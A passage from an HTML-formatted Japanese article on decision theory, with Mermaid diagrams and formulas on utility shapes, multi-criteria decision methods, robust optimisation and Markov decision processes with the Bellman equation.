&lt;div&gt;&lt;span&gt;    subgraph "効用関数の形状"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        A[効用関数ux&amp;lt;br/&amp;gt;Utility Function] --&amp;gt; B[リスク回避的&amp;lt;br/&amp;gt;u''x &amp;lt; 0&amp;lt;br/&amp;gt;凹関数]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        A --&amp;gt; C[リスク中立的&amp;lt;br/&amp;gt;u''x = 0&amp;lt;br/&amp;gt;線形関数]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        A --&amp;gt; D[リスク愛好的&amp;lt;br/&amp;gt;u''x &amp;gt; 0&amp;lt;br/&amp;gt;凸関数]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "限界効用"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        B --&amp;gt; E[限界効用逓減&amp;lt;br/&amp;gt;Marginal Utility Decreasing&amp;lt;br/&amp;gt;u'x &amp;gt; 0 かつ u''x &amp;lt; 0]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        C --&amp;gt; F[限界効用一定&amp;lt;br/&amp;gt;Marginal Utility Constant&amp;lt;br/&amp;gt;u'x = constant]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        D --&amp;gt; G[限界効用逓増&amp;lt;br/&amp;gt;Marginal Utility Increasing&amp;lt;br/&amp;gt;u'x &amp;gt; 0 かつ u''x &amp;gt; 0]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "意思決定への影響"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        E --&amp;gt; H[確実な結果を好む&amp;lt;br/&amp;gt;Prefer Certainty&amp;lt;br/&amp;gt;リスクを避ける]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        F --&amp;gt; I[期待値で判断&amp;lt;br/&amp;gt;Expected Value Decision&amp;lt;br/&amp;gt;リスク中立]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        G --&amp;gt; J[不確実な結果を好む&amp;lt;br/&amp;gt;Prefer Uncertainty&amp;lt;br/&amp;gt;リスクを求める]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "実例"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        H --&amp;gt; K[保険の購入&amp;lt;br/&amp;gt;Insurance Purchase]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        I --&amp;gt; L[期待値最大化&amp;lt;br/&amp;gt;Expected Value Maximization]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        J --&amp;gt; M[ギャンブル&amp;lt;br/&amp;gt;Gambling]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 意思決定の分類&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;意思決定は、以下のように分類できる：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;1.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**決定論的意思決定**&lt;/span&gt;&lt;span&gt;：結果が確定的に分かっている場合&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;2.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**リスク下の意思決定**&lt;/span&gt;&lt;span&gt;：各結果の発生確率が既知の場合&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;3.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**不確実性下の意思決定**&lt;/span&gt;&lt;span&gt;：確率が未知または主観的な場合&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;4.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**多目的意思決定**&lt;/span&gt;&lt;span&gt;：複数の評価基準を同時に考慮する場合&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;5.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**多属性意思決定**&lt;/span&gt;&lt;span&gt;：複数の属性を持つ選択肢を評価する場合&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**図4: 意思決定の分類**&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;graph TB&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    A[意思決定&amp;lt;br/&amp;gt;Decision Making] --&amp;gt; B{結果の確実性&amp;lt;br/&amp;gt;Certainty of Outcomes}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    B --&amp;gt;|結果が確定的&amp;lt;br/&amp;gt;Deterministic| C[決定論的意思決定&amp;lt;br/&amp;gt;Deterministic Decision&amp;lt;br/&amp;gt;最適化問題]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    B --&amp;gt;|確率が既知&amp;lt;br/&amp;gt;Known Probabilities| D[リスク下の意思決定&amp;lt;br/&amp;gt;Decision under Risk&amp;lt;br/&amp;gt;期待効用理論]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    B --&amp;gt;|確率が未知&amp;lt;br/&amp;gt;Unknown Probabilities| E[不確実性下の意思決定&amp;lt;br/&amp;gt;Decision under Uncertainty&amp;lt;br/&amp;gt;ベイズ意思決定]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    A --&amp;gt; F{評価基準の数&amp;lt;br/&amp;gt;Number of Criteria}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    F --&amp;gt;|単一基準&amp;lt;br/&amp;gt;Single Criterion| G[単一目的意思決定&amp;lt;br/&amp;gt;Single Objective]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    F --&amp;gt;|複数基準&amp;lt;br/&amp;gt;Multiple Criteria| H[多目的意思決定&amp;lt;br/&amp;gt;Multi-Objective Decision&amp;lt;br/&amp;gt;パレート最適化]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    A --&amp;gt; I{選択肢の属性&amp;lt;br/&amp;gt;Attributes of Alternatives}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    I --&amp;gt;|単一属性&amp;lt;br/&amp;gt;Single Attribute| J[単属性意思決定]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    I --&amp;gt;|複数属性&amp;lt;br/&amp;gt;Multiple Attributes| K[多属性意思決定&amp;lt;br/&amp;gt;Multi-Attribute Decision&amp;lt;br/&amp;gt;MAUT AHP TOPSIS]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 多目的・多属性意思決定（MCDM/MAUT）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;複数基準 $&lt;/span&gt;&lt;span&gt;f_k(x)$&lt;/span&gt;&lt;span&gt;（$&lt;/span&gt;&lt;span&gt;k=&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;dots,m$&lt;/span&gt;&lt;span&gt;）を同時に最適化する場合、パレート支配の概念が重要となる。解集合 $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{X}$&lt;/span&gt;&lt;span&gt; から得られるパレート前線 $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{P}$&lt;/span&gt;&lt;span&gt; は、他のいかなる解にも全基準で劣らない非支配解で構成される：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 多目的最適化の概念図&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**図5: 多目的最適化の概念図**&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;graph TB&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "目的関数"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        A[複数基準&amp;lt;br/&amp;gt;Multiple Criteria&amp;lt;br/&amp;gt;f₁x f₂x ... fₘx] --&amp;gt; B[目的関数空間&amp;lt;br/&amp;gt;Objective Space]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "パレート支配"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        B --&amp;gt; C[解xが解yを支配&amp;lt;br/&amp;gt;x dominates y&amp;lt;br/&amp;gt;f_kx ≤ f_ky for all k&amp;lt;br/&amp;gt;and f_k'x &amp;lt; f_k'y for some k']&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        C --&amp;gt; D[非支配解&amp;lt;br/&amp;gt;Non-dominated Solution&amp;lt;br/&amp;gt;他の解に支配されない]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "パレート前線"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        D --&amp;gt; E[パレート前線&amp;lt;br/&amp;gt;Pareto Front&amp;lt;br/&amp;gt;非支配解の集合]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        E --&amp;gt; F[パレート最適解&amp;lt;br/&amp;gt;Pareto Optimal Solutions&amp;lt;br/&amp;gt;トレードオフの関係]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "意思決定"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        F --&amp;gt; G[意思決定者の選好&amp;lt;br/&amp;gt;Decision Maker Preference]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        G --&amp;gt; H[重み付け&amp;lt;br/&amp;gt;Weighting&amp;lt;br/&amp;gt;w₁ w₂ ... wₘ]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        H --&amp;gt; I[総合評価&amp;lt;br/&amp;gt;Ux = Σw_k u_kx_k&amp;lt;br/&amp;gt;MAUT]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "手法"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        I --&amp;gt; J[AHP&amp;lt;br/&amp;gt;階層分析法]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        I --&amp;gt; K[TOPSIS&amp;lt;br/&amp;gt;理想解への近接度]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        I --&amp;gt; L[MOEA&amp;lt;br/&amp;gt;多目的進化計算]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{P} = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;left\{ x &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;in &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{X} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mid &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;nexists \, y &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;in &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{X} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{ s.t. } f_k(y) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;le f_k(x) \, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;forall k &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{ and } f_{k'}(y) &amp;lt; f_{k'}(x) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{ for some } k' &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;right\}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;多属性効用理論（MAUT）では、分離可能性を仮定すると総合効用が加法型で表される：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;U(x_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;dots,x_m) = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_&lt;/span&gt;&lt;span&gt;{k=&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}^{m} w_k \, u_k(x_k), &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;quad &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_&lt;/span&gt;&lt;span&gt;{k} w_k = &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;, \; w_k &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;ge &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;加法性が成立しない場合は、乗法型 $&lt;/span&gt;&lt;span&gt;U = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;prod_k [&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;alpha_k u_k(x_k)] - &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt; などで相互作用を表現する。実務では Analytic Hierarchy Process (AHP) や Technique for Order Preference by Similarity to Ideal Solution (TOPSIS)、多目的最適化進化計算（MOEA）等が用いられる。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### ロバスト最適化と分布ロバスト最適化&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;不確実性集合 $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{U}$&lt;/span&gt;&lt;span&gt; を導入し、最悪ケースを最小化するロバスト最適化問題は&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;min_&lt;/span&gt;&lt;span&gt;{x &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;in &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{X}} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;max_&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;xi &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;in &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{U}} f(x, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;xi)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;と定式化される。$&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{U}$&lt;/span&gt;&lt;span&gt; が多面体（box uncertainty, budget uncertainty）の場合は線形計画問題に帰着される。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;分布ロバスト最適化（DRO）では、確率分布 $&lt;/span&gt;&lt;span&gt;P$&lt;/span&gt;&lt;span&gt; が不確実性集合 $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{P}$&lt;/span&gt;&lt;span&gt; 内にあると仮定し、&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;min_&lt;/span&gt;&lt;span&gt;{x &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;in &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{X}} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sup_&lt;/span&gt;&lt;span&gt;{P &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;in &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{P}} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}_P[f(x, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;xi)]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;を解く。$&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{P} = \{P: D(P \| P_&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;le &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;rho\}$&lt;/span&gt;&lt;span&gt;（$&lt;/span&gt;&lt;span&gt;D$&lt;/span&gt;&lt;span&gt; はKLダイバージェンス）の場合は、双対問題が凸最適化として求解可能である。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 動的プログラミングとベルマン方程式&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;離散時間マルコフ決定過程（MDP）では、状態 $&lt;/span&gt;&lt;span&gt;s_t$&lt;/span&gt;&lt;span&gt;、行動 $&lt;/span&gt;&lt;span&gt;a_t$&lt;/span&gt;&lt;span&gt;、報酬 $&lt;/span&gt;&lt;span&gt;r_t$&lt;/span&gt;&lt;span&gt; の系列を考える。ベルマン方程式&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;V^*(s) = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;max_&lt;/span&gt;&lt;span&gt;{a &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;in &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{A}(s)} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;left\{ R(s,a) + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;gamma &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_&lt;/span&gt;&lt;span&gt;{s'} P(s'|s,a) V^*(s') &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;right\}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;を満たす最適価値関数 $&lt;/span&gt;&lt;span&gt;V^*$&lt;/span&gt;&lt;span&gt; が存在し、最適方策は $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;pi^*(s) = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;arg&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;max_a Q^*(s,a)$&lt;/span&gt;&lt;span&gt; で与えられる。ここで $&lt;/span&gt;&lt;span&gt;Q^*(s,a) = R(s,a) + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;gamma &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sum_&lt;/span&gt;&lt;span&gt;{s'} P(s'|s,a) V^*(s')$&lt;/span&gt;&lt;span&gt; は行動価値関数である。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**図6: MDP（マルコフ決定過程）の構造**&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;graph LR&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    A[状態s_t&amp;lt;br/&amp;gt;State] --&amp;gt; B[行動a_t選択&amp;lt;br/&amp;gt;Action Selection&amp;lt;br/&amp;gt;πs_t]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    B --&amp;gt; C[報酬r_t獲得&amp;lt;br/&amp;gt;Reward R s_t,a_t]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    C --&amp;gt; D[状態遷移&amp;lt;br/&amp;gt;State Transition&amp;lt;br/&amp;gt;P s_t+1 given s_t,a_t]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    D --&amp;gt; E[次状態s_t+1&amp;lt;br/&amp;gt;Next State]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    E --&amp;gt; F[価値関数V*s&amp;lt;br/&amp;gt;Value Function&amp;lt;br/&amp;gt;V*s=max_a R s,a+γΣP s' given s,a V*s']&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    F --&amp;gt; G[最適方策π*s&amp;lt;br/&amp;gt;Optimal Policy&amp;lt;br/&amp;gt;π*s=argmax_a Q*s,a]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    G --&amp;gt; B&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    H[行動価値関数&amp;lt;br/&amp;gt;Q*s,a&amp;lt;br/&amp;gt;Q*s,a=R s,a+γΣP s' given s,a V*s'] --&amp;gt; G&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 動的プログラミングの詳細フロー&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**図7: 動的プログラミングの詳細フロー**&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;graph TB&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "MDPの要素"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        A[状態s_t&amp;lt;br/&amp;gt;State] --&amp;gt; B[行動a_t&amp;lt;br/&amp;gt;Action]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        B --&amp;gt; C[報酬r_t&amp;lt;br/&amp;gt;Reward R s_t,a_t]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        C --&amp;gt; D[状態遷移&amp;lt;br/&amp;gt;P s_t+1 given s_t,a_t]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "価値関数の計算"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        D --&amp;gt; E[ベルマン方程式&amp;lt;br/&amp;gt;Bellman Equation&amp;lt;br/&amp;gt;V*s = max_a R s,a + γΣP s' given s,a V*s']&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        E --&amp;gt; F[価値反復&amp;lt;br/&amp;gt;Value Iteration&amp;lt;br/&amp;gt;V_k+1s = max_a R s,a + γΣP s' given s,a V_ks']&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        F --&amp;gt; G[収束判定&amp;lt;br/&amp;gt;Convergence Check&amp;lt;br/&amp;gt;V_k+1 - V_k &amp;lt; ε]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        G --&amp;gt;|未収束| F&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        G --&amp;gt;|収束| H[最適価値関数V*&amp;lt;br/&amp;gt;Optimal Value Function]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "方策の決定"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        H --&amp;gt; I[行動価値関数&amp;lt;br/&amp;gt;Q*s,a = R s,a + γΣP s' given s,a V*s']&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        I --&amp;gt; J[最適方策&amp;lt;br/&amp;gt;π*s = argmax_a Q*s,a&amp;lt;br/&amp;gt;Optimal Policy]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "方策反復"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        J --&amp;gt; K[方策評価&amp;lt;br/&amp;gt;Policy Evaluation&amp;lt;br/&amp;gt;V^πs = R s,πs + γΣP s' given s,πs V^πs']&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        K --&amp;gt; L[方策改善&amp;lt;br/&amp;gt;Policy Improvement&amp;lt;br/&amp;gt;π' = argmax_a Q^πs,a]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        L --&amp;gt; M{方策が変化?}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        M --&amp;gt;|Yes| K&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        M --&amp;gt;|No| N[最適方策π*&amp;lt;br/&amp;gt;Optimal Policy]&lt;/span&gt;&lt;/div&gt;
